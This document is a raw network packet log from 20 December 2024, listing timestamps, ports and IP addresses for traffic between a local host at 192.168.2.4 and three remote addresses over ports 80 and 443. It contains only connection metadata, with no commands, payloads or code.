Dec 20, 2024 09:12:15.141519070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.141541958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.141575098 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.141581059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.141619921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.141731024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.141782045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.141828060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.141879082 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.142750978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.142796993 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.142815113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.142859936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.143695116 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.143764973 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.143866062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.143909931 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.144653082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.144701958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.144771099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.144814968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.145652056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.145697117 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.145781994 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.145828009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.146642923 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.146687031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.146749020 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.146794081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.147602081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.147650957 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.147696018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.147739887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.148602962 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.148643970 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.148698092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.148742914 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.149586916 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.149631023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.149653912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.149697065 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.150584936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.150630951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.150733948 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.150782108 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.151580095 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.151624918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.151757956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.151803970 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.152617931 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.152664900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.152740002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.152784109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.153528929 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.153573990 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.153639078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.153683901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.154505968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.154551983 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.154633045 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.154674053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.155491114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.155535936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.155582905 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.155627966 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.156477928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.156522036 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.156568050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.156613111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.157454967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.157499075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.157542944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.157587051 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.158435106 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.158479929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.158565998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.158620119 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.159420967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.159468889 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.159542084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.159585953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.160428047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.160474062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.160511971 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.160557032 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.161425114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.161469936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.161514997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.161561012 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.162345886 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.162390947 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.162435055 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.162477970 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.163387060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.163412094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.163423061 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.163485050 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.164350033 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.164444923 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.164558887 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.164602995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.165354013 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.165404081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.165466070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.165509939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.166323900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.166424990 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.166475058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.167309999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.167363882 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.167407990 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.167455912 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.168303967 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.168353081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.168405056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.168450117 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.169775009 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.169821978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.169894934 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.169939995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.170277119 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.170324087 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.170391083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.170435905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.171292067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.171420097 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.171422005 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.171466112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.172256947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.172302961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.172358036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.172404051 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.173213959 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.173264980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.173333883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.173376083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.174238920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.174292088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.174331903 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.174376011 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.175208092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.175249100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.175335884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.175379992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.176187992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.176233053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.176321030 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.176362991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.177164078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.177212000 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.177259922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.177306890 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.178136110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.178181887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.178296089 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.178339958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.179111958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.179155111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.179224968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.179267883 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.180170059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.180217028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.180243015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.180295944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:16.525681973 CET	49777	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:16.525738955 CET	443	49777	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:16.525877953 CET	49777	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:16.578378916 CET	49777	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:16.578434944 CET	443	49777	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:17.447371006 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:17.447696924 CET	49780	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:17.567369938 CET	80	49780	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:17.567483902 CET	49780	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:17.567528009 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:17.567637920 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:17.567748070 CET	49780	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:17.687223911 CET	80	49780	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:17.798871994 CET	443	49777	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:17.799001932 CET	49777	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:17.800368071 CET	49777	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:17.800396919 CET	443	49777	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:17.800741911 CET	443	49777	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:17.850719929 CET	49777	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:17.886620045 CET	49777	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:17.886688948 CET	49777	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:17.886768103 CET	443	49777	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:18.542386055 CET	443	49777	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:18.542495966 CET	443	49777	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:18.542714119 CET	49777	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:18.560213089 CET	49777	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:18.560277939 CET	443	49777	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:18.576478004 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:18.576546907 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:18.576634884 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:18.576920986 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:18.576942921 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:18.904364109 CET	80	49780	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:18.906774998 CET	49780	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:18.909254074 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:18.909554958 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:19.029095888 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:19.029114962 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:19.029206038 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:19.029228926 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:19.029534101 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:19.149048090 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:19.792109013 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:19.792208910 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:19.793463945 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:19.793504000 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:19.793843031 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:19.794998884 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:19.795041084 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:19.795109987 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.352890015 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.353033066 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.353094101 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.353115082 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.353131056 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.353148937 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.353171110 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.353205919 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.353219986 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.353267908 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.353302956 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.353319883 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.353339911 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.353359938 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.353379011 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.353389025 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.353430033 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.473416090 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.473472118 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.473503113 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.473537922 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.477351904 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.477417946 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.545079947 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.545212030 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.545299053 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.549204111 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.549257040 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.549333096 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.555721045 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.555852890 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.555927992 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.563760042 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.563832998 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.563905001 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.570045948 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.570125103 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.570214033 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.570292950 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.570318937 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.572122097 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.572187901 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.572199106 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.572379112 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.580545902 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.580621004 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.580638885 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.581079960 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.586805105 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.586858988 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.586922884 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.586942911 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.586999893 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.588864088 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.588927984 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.589071989 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.589133024 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.595073938 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.597296000 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.597361088 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.597398043 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.598769903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.605623960 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.605777025 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.605850935 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.614044905 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.614217043 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.614402056 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.621932983 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.622028112 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.622097015 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.647603989 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.647624969 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.664973021 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.665087938 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.665121078 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.665186882 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.668864965 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.668927908 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.689857960 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.689922094 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.689970016 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.737034082 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.737087011 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.737137079 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.737137079 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.739106894 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.739178896 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.739243984 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.739300966 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.741337061 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.744088888 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.744141102 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.744223118 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.748498917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.748562098 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.748605967 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.748676062 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.753237009 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.753381968 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.753460884 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.757812977 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.757900953 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.757970095 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.758033037 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.762003899 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.762279034 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.762343884 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.762362957 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.762759924 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.765834093 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.765885115 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.765904903 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.766000986 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.766079903 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.766127110 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.766158104 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.766158104 CET	49783	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:20.766175985 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.766194105 CET	443	49783	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:20.766968012 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.767025948 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.767039061 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.768076897 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:20.771703959 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:20.771744967 CET	80	49785	31.41.244.11	192.168.2.4
